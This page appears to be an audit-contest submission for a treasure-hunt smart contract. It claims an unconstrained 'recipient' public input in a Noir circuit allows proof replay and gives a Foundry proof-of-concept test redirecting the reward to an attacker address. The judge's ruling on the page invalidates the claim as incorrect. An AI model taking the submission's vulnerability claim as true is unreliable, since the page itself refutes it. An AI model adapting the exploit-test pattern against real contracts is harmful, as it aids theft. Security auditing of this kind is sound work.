SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Unconstrained `recipient ` public input allows valid proofs to be replayed with a different payout address

Root + Impact

Description

  • The circuit accepts recipient as a public input, but never uses it in any constraint.

  • As a result, the proof is not bound to the payout address, allowing the same valid proof to be submitted with a different recipient .

fn main(treasure: Field, treasure_hash: pub Field, recipient: pub Field) {
assert(is_allowed(treasure_hash));
assert(std::hash::pedersen_hash([treasure]) == treasure_hash);
}

Risk

Likelihood:

  • Any valid claim transaction exposes the proof and public inputs on-chain.

  • Because recipient is not constrained by the circuit, an attacker can reuse the same proof and treasureHash while replacing recipientwith their recipient's address.

Impact:

  • An attacker can front-run or replay a valid proof and redirect the reward to themselves.

  • This breaks the intended replay protection described by the protocol and can result in loss of the legitimate finder’s reward.

Proof of Concept

The PoC deploys the verifier and TreasureHunt contract with 100 ether, then loads a valid proof, treasureHash, and original recipient from the generated fixtures. An attacker submits the same proof and treasureHash, but replaces the recipient with their own address; the claim succeeds and the reward is paid to the attacker.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.27;
import "forge-std/Test.sol";
import "forge-std/StdJson.sol";
import {TreasureHunt} from "../src/TreasureHunt.sol";
import {HonkVerifier} from "../src/Verifier.sol";
contract TreasureHuntRecipientReplayPoC is Test {
using stdJson for string;
HonkVerifier verifier;
TreasureHunt hunt;
address constant owner = address(0xDEADBEEF);
address constant attacker = address(0xBAD);
uint256 constant INITIAL_OWNER_BALANCE = 200 ether;
uint256 constant INITIAL_FUNDING = 100 ether;
function setUp() public {
vm.deal(owner, INITIAL_OWNER_BALANCE);
vm.startPrank(owner);
verifier = new HonkVerifier();
hunt = new TreasureHunt{value: INITIAL_FUNDING}(address(verifier));
vm.stopPrank();
}
function _loadFixture()
internal
view
returns (
bytes memory proof,
bytes32 treasureHash,
address payable originalRecipient
)
{
proof = vm.readFileBinary("contracts/test/fixtures/proof.bin");
string memory json = vm.readFile(
"contracts/test/fixtures/public_inputs.json"
);
bytes memory raw = json.parseRaw(".publicInputs");
bytes32[] memory inputs = abi.decode(raw, (bytes32[]));
treasureHash = inputs[0];
originalRecipient = payable(address(uint160(uint256(inputs[1]))));
}
function testPoC_proofCanBeReplayedWithDifferentRecipient() public {
(
bytes memory proof,
bytes32 treasureHash,
address payable originalRecipient
) = _loadFixture();
address payable attackerRecipient = payable(address(0xBADBEEF));
uint256 reward = hunt.REWARD();
uint256 originalRecipientBalanceBefore = originalRecipient.balance;
uint256 attackerBalanceBefore = attackerRecipient.balance;
uint256 contractBalanceBefore = address(hunt).balance;
vm.prank(attacker);
// The proof was generated with originalRecipient in the public inputs,
// but the attacker submits the same proof with attackerRecipient instead.
hunt.claim(proof, treasureHash, attackerRecipient);
// The attacker receives the reward even though the proof was not
// generated for attackerRecipient.
assertEq(attackerRecipient.balance, attackerBalanceBefore + reward);
// The original recipient receives nothing.
assertEq(originalRecipient.balance, originalRecipientBalanceBefore);
// The contract pays out one reward.
assertEq(address(hunt).balance, contractBalanceBefore - reward);
// The treasure is marked as claimed, preventing the legitimate recipient
// from claiming it afterwards.
assertTrue(hunt.claimed(treasureHash));
assertEq(hunt.claimsCount(), 1);
}
}

Recommended Mitigation

Bind the recipient to the proof by using it in a circuit constraint. For example, include recipient in the hashed statement that the proof verifies

The key requirement is that recipient must affect at least one circuit constraint. Merely declaring it as a public input is not enough.

- assert(std::hash::pedersen_hash([treasure]) == treasure_hash);
+ assert(std::hash::pedersen_hash([treasure, recipient]) == treasure_hash);
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
Assigned finding tags:

unused "recipient" in circuit

The claim that the proof system is broken because the recipient is not explicitly constrained in the Noir circuit reflects a misunderstanding of how zero-knowledge proofs bind public inputs. Although the circuit does not impose algebraic constraints on recipient, the value is still included in the public input vector, which is cryptographically committed to during proof generation. As a result, the proof is only valid for the exact tuple of public inputs it was created with. Any attempt by an attacker to front-run and substitute a different recipient would alter this tuple, causing the verifier’s check to fail because the proof no longer matches the provided public inputs. Therefore, while unconstrained public inputs do not enforce logical relationships within the circuit, they remain inseparably bound to the proof itself, and this binding is sufficient to prevent tampering or replay with modified values. Run the unit tests 'testClaimInvalidProofFails', 'testFrontRunningClaimFails'.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!